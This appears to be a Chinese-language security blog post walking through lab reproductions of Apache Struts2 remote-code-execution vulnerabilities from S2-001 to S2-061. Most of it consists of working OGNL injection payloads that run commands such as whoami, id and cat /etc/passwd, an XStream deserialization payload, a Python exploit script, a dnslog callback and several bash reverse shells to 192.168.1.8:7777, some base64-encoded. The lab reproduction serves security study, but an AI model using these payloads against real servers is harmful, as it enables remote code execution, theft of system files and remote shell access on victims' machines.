干貨|最全的Struts2漏洞復現
簡介
Struts2是一個基于MVC設計模式的Web應用框架,它本質上相當于一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數據交互。Struts 2是Struts的下一代產品,是在 struts 1和WebWork的技術基礎上進行了合并的全新的Struts 2框架。其全新的Struts 2的體系結構與Struts 1的體系結構差別巨大。Struts 2以WebWork為核心,采用攔截器的機制來處理用戶的請求,這樣的設計也使得業務邏輯控制器能夠與ServletAPI完全脫離開,所以Struts 2可以理解為WebWork的更新產品。雖然從Struts 1到Struts 2有著非常大的變化,但是相對于WebWork,Struts 2的變化很小。
S2-001
該漏洞因為用戶提交表單數據并且驗證失敗時,后端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然后重新填充到對應的表單數據中。例如注冊或登錄頁面,提交失敗后端一般會默認返回之前提交的數據,由于后端使用 %{value} 對提交的數據執行了一次 OGNL 表達式解析,所以可以直接構造 Payload 進行命令執行
進入s2-001的docker漏洞環境

首先使用%{'test'}進行測試漏洞是否存在

返回了test,證明存在漏洞

使用payload進行測試,返回了tomcatBinDir{/usr/local/tomcat}
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

使用payload執行whoami
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

使用payload執行cat /etc/password命令
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

S2-005
s2-005漏洞的起源源于S2-003(受影響版本: 低于Struts 2.0.12),struts2會將http的每個參數名解析為OGNL語句執行(可理解為java代碼)。OGNL表達式通過#來訪問struts的對象,struts框架通過過濾#字符防止安全問題,然而通過unicode編碼(\u0023)或8進制(\43)即繞過了安全限制,對于S2-003漏洞,官方通過增加安全配置(禁止靜態方法調用和類方法執行等)來修補,但是安全配置被繞過再次導致了漏洞,攻擊者可以利用OGNL表達式將這2個選項打開,S2-003的修補方案把自己上了一個鎖,但是把鎖鑰匙給插在了鎖頭上。XWork會將GET參數的鍵和值利用OGNL表達式解析成Java語句,如:
user.address.city=Bishkek&user['favoriteDrink']=kumys
//會被轉化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
觸發漏洞就是利用了這個點,再配合OGNL的沙盒繞過方法,組成了S2-003。官方對003的修復方法是增加了安全模式(沙盒),S2-005在OGNL表達式中將安全模式關閉,又繞過了修復方法。整體過程如下:
S2-003 使用\u0023繞過s2對#的防御 S2-003 后官方增加了安全模式(沙盒) S2-005 使用OGNL表達式將沙盒關閉,繼續執行代碼
影響版本: 2.0.0 - 2.1.8.1
進入s2-005的docker環境

抓包添加payload執行往/tmp/目錄下寫入success文件的操作
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

進入docker容器查看,在tmp目錄下已經創建了success文件

S2-007
在s2-007頁面的文本框中,age來自于用戶輸入,傳遞一個非整數給id導致錯誤,struts會將用戶的輸入當作ongl表達式執行,從而導致了漏洞
進入s2-007的docker漏洞環境

執行payload列出當前目錄下的所有文件
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27

添加payload執行whoami
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27

也可以直接在age文本框處使用payload
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExe cution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

即可得到id

S2-008
s2-008漏洞產生的原因,主要是利用對傳入參數沒有嚴格限制,導致多個地方可以執行惡意代碼,傳入?debug=command&expression=即可執行OGNL表達式
進入s2-008的docker環境

在GET包處添加payload執行whoami
devmode.action?debug=command&expression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=whoami

S2-009
Struts2對S2-003的修復方法是禁止#號,于是s2-005通過使用編碼\u0023或\43來繞過;后來Struts2對S2-005的修復方法是禁止\等特殊符號,使用戶不能提交反斜線。
但是,如果當前action中接受了某個參數example,這個參數將進入OGNL的上下文。所以,我們可以將OGNL表達式放在example參數中,然后使用/helloword.acton?example=&(example)('xxx')=1的方法來執行它,從而繞過官方對#、\等特殊字符的防御。
影響版本Struts 2.1.0-2.3.1.1
進入S2-009的docker環境

訪問192.168.1.8:8080/ajax/example5,此為存在漏洞的界面

將payload拼接讀取passwd文件
http://192.168.1.8:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

S2-012
如果在配置 Action 中 Result 時使用了重定向類型,并且還使用 ${param_name} 作為重定向變量,例如:
name="S2-012" extends="struts-default">
name="user" class="com.demo.action.UserAction">
name="redirect" type="redirect">/index.jsp?name=${
name}result>
name="input">/index.jsp
name="success">/index.jsp
這里 UserAction 中定義有一個 name 變量,當觸發 redirect 類型返回時,Struts2 獲取使用 ${name} 獲取其值,在這個過程中會對 name 參數的值執行 OGNL 表達式解析,從而可以插入任意 OGNL 表達式導致命令執行
進入s2-012的docker環境

直接在文本框內執行payload讀取passwd
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

點擊提交即可讀取到passwd

S2-013
Struts2 標簽中 和 都包含一個 includeParams 屬性,其值可設置為 none,get 或 all,參考官方其對應意義如下:none - 鏈接不包含請求的任意參數值(默認) get - 鏈接只包含 GET 請求中的參數和其值 all - 鏈接包含 GET 和 POST 所有參數和其值 用來顯示一個超鏈接,當includeParams=all的時候,會將本次請求的GET和POST參數都放在URL的GET參數上。在放置參數的過程中會將參數進行OGNL渲染,造成任意命令執行漏洞。
進入s2-013的docker環境

這里直接構造鏈接并進行url編碼:
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
// 或
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
認準exec執行系統命令即可,flag在環境變量里面,構造:
http://192.168.1.8:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27env%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

S2-015
s2-015漏洞遠程攻擊者可借助帶有‘${}’和‘%{}’序列值(可導致判斷OGNL代碼兩次)的請求,利用該漏洞執行任意OGNL代碼
進入s2-015的docker環境

首先構造{1+1}得到payload
http://192.168.1.8:8080/${1+1}.action
執行后自動編碼得到如下,在message處會回顯
http://192.168.1.8:8080/$%7B1+1%7D.action

構造payload顯示id
http://192.168.1.8:8080/%24%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d%2e%61%63%74%69%6f%6e
這里在message處得到id需要進行url解碼


S2-016
在struts2中,DefaultActionMapper類支持以"action:"、“redirect:”、"redirectAction:"作為導航或是重定向前綴,但是這些前綴后面同時可以跟OGNL表達式,由于struts2沒有對這些前綴做過濾,導致利用OGNL表達式調用java靜態方法執行任意系統命令
進入s2-016的docker環境

構造payload執行,可以發現執行過后網址后面出現了id
http://192.168.1.8:8080/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D

S2-032
當啟用動態方法調用時,可以傳遞可用于在服務器端執行任意代碼的惡意表達式。method: Action 前綴去調用聲明為 public 的函數,只不過在低版本中 Strtus2 不會對 name 方法值做 OGNL 計算,而在高版本中會。.
進入s2-032的docker環境

構造payload返回1001060253718則代表可代碼執行
http://192.168.1.8:8080/memoindex.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10010

構造payload輸出id
http://192.168.1.8:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

S2-045
Apache Struts 2被曝存在遠程命令執行漏洞,漏洞編號S2-045,CVE編號CVE-2017-5638,在使用基于Jakarta插件的文件上傳功能時,有可能存在遠程命令執行,導致系統被黑客入侵。惡意用戶可在上傳文件時通過修改HTTP請求頭中的Content-Type值來觸發該漏洞,進而執行系統命令。
影響范圍
Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10
進入s2-045的docker環境

構造payload任意命令執行
Content-Type:"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
對于payload的一些解釋
來獲取上下文容器
#container=#context['com.opensymphony.xwork2.ActionContext.container']
通過容器實例化,對Ognl API的通用訪問,設置和獲取屬性
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class
判斷目標主機的操作系統類型,并進行執行命令賦值
#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd })
執行攻擊命令
#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())

S2-046
s2-046漏洞的利用有點特殊,需要滿足以下幾個條件:
1、系統必須使用 Jakarta 插件,檢查 Struts2 配置文件中是否有以下配置:
2、上傳文件的大小(由 Content-LSength 頭指定)大于 Struts2 允許的最大大小(2GB)
3、文件名內容構造惡意的 OGNL 內容。
如果滿足以上要求,Struts2 受影響版本將創建一個包含攻擊者控制的異常文件名,使用 OGNL 值堆棧來定位錯誤消息,OGNL 值堆棧將插入任何 OGNL 變量($ {}或%{})作為 OGNL 表達式,然后實現任意代碼執行。
與045相同,046也是OGNL注入,但出現在上傳請求的文件名字段中,并且需要NUL字節來拆分有效負載和其余字符串。
進入s2-046的docker環境

點擊submit進行抓包,可以看到這里的filename正常情況下是為空的

構造payload執行1+99
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+99)}\x00b

這里需要進行00截斷,進入hex將30改為00


然后發包,可以看到X-Test這個地方已經執行了1+99并輸出了結果

那么這里就可以構造一個poc進行bash反彈,還是要進行00階段,nc監聽端口,發包即可得到反彈shell
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.1.8/7777 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"

S2-048
這個漏洞主要問題出在struts2-struts1-plugin這個插件包上。這個庫的主要作用就是將struts1的action封裝成struts2的action以便它能在strut2上運行使用。
而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函數可以調用 getText() 函數,這個函數剛好又能執行OGNL表達式,同事這個 getText() 的 參數輸入點,又可以被用戶直接進行控制,用戶可控的值添加到 ActionMessage 并在客戶前端展示,導致其進入 getText 函數,最后 message 被當作 ognl 表達式執行如果這個點被惡意攻擊者所控制,就可以構造惡意執行代碼,從而實現一個RCE攻擊。
進入s2-048的docker環境

進入http://192.168.1.8:8080/integration/saveGangster.action漏洞頁面,嘗試運算1+1

可以看到這里得到了運算結果,說明存在漏洞

那么這里構造一個payload用來輸出id
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

構造payload輸出whoami
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())).(#q)}

S2-052
s2-052產生漏洞的原因是REST插件使用到XStreamHandler處理xml數據,由于未對xml數據做任何過濾,在進行發序列xml數據轉換為Object時導致RCE
進入s2-052的docker環境

進入頁面后隨便點擊一個成員進行編輯并點擊submit進行抓包

這里可以看到Content-Type為application/x-www-form-urlencoded

構造一個xml文件
0 class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> class="javax.crypto.CipherInputStream"> class="javax.crypto.NullCipher"> false 0 class="javax.imageio.spi.FilterIterator"> class="javax.imageio.spi.FilterIterator"> class="java.util.Collections$EmptyIterator"/> class="java.lang.ProcessBuilder"> calc.exe false class="javax.imageio.ImageIO$ContainsFilter"> java.lang.ProcessBuilder start foo class="string">foo class="java.lang.ProcessBuilder$NullInputStream"/> false 0 0 false false 0 reference="../jdk.nashorn.internal.objects.NativeString"/> reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
首先將Content-Type改為application/xml,然后將xml文件插入,發包返回500證明已經成功


進入tmp目錄查看success文件已經創建成功

S2-053
s2-053漏洞產生的原因是Struts2在使用Freemarker模板引擎的時候,同時允許解析OGNL表達式。導致用戶輸入的數據本身不會被OGNL解析,但由于被Freemarker解析一次后變成離開一個表達式,被OGNL解析第二次,導致任意命令執行漏洞。
進入s2-053的docker環境

首先執行%{33-1}并提交,可以看到在Your url的地方運算出了結果,說明存在漏洞

構造payload輸出id并提交
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

執行bash反彈命令,用nc監聽端口即可得到反彈shell
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.1.8/7777 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

S2-057
s2-057漏洞產生于網站配置XML時如果沒有設置namespace的值,并且上層動作配置中并沒有設置或使用通配符namespace時,可能會導致遠程代碼執行漏洞的發生。同樣也可能因為url標簽沒有設置value和action的值,并且上層動作并沒有設置或使用通配符namespace,從而導致遠程代碼執行漏洞的發生。
alwaysSelectFullNamespace被設置為true,此時namespace的值是從URL中獲取的。URL是可控的,所以namespace也是可控的action元素沒有名稱空間屬性集,或者使用通配符。該名稱空間將由用戶從URL傳遞并解析為OGNL表達式,最終導致遠程代碼執行的脆弱性。
進入s2-057的docker環境

首先構造12+34回車

發現運算出了結果,說明存在漏洞

構造payload輸出id
${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
進行url編碼

得到如下payload
%24%7B%20(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D
bp抓包在GET處進行拼接得到id
GET /struts2-showcase/%24%7B%20(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1

在exec處修改要執行得命令即可

S2-059
s2-059產生的原因為攻擊者可以通過構造惡意的OGNL表達式,并將其設置到可被外部輸入進行修改,且會執行OGNL表達式的Struts2標簽的屬性值,引發OGNL表達式解析,最終造成遠程代碼執行的影響。
進入s2-059的docker環境

訪問8080看到有一個input:id

傳參id=2進入發現出現在了input id:這個地方

這里構造id=%25{10*10},發現自動進行了運算

使用bash反彈,先進行編碼
bash -i >& /dev/tcp/192.168.1.8/7777 0>&1

編碼后結果如下
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
生成一個test.py,將bash編碼放入py
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)
執行即可得到反彈shell

S2-061
s2-061漏洞產生的原因是Struts2 會對某些標簽屬性(比如 id,其他屬性有待尋找) 的屬性值進行二次表達式解析,因此當這些標簽屬性中使用了 %{x} 且 x 的值用戶可控時,用戶再傳入一個 %{payload} 即可造成OGNL表達式執行。S2-061是對S2-059沙盒進行的繞過
進入s2-061的docker環境

還是構造一個%25{10*10}發現運算成功,證明漏洞存在

bp在index.action頁面抓包

修改Content-Type如下并添加數據,這里如果直接使用GET方法是得不到回顯的
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

改為POST方法即可得到id

配合dnslog食用同理
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping 9vll55.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

bash反彈命令需要先進行編碼,同之前操作
bash -i >& /dev/tcp/192.168.1.8/7777 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
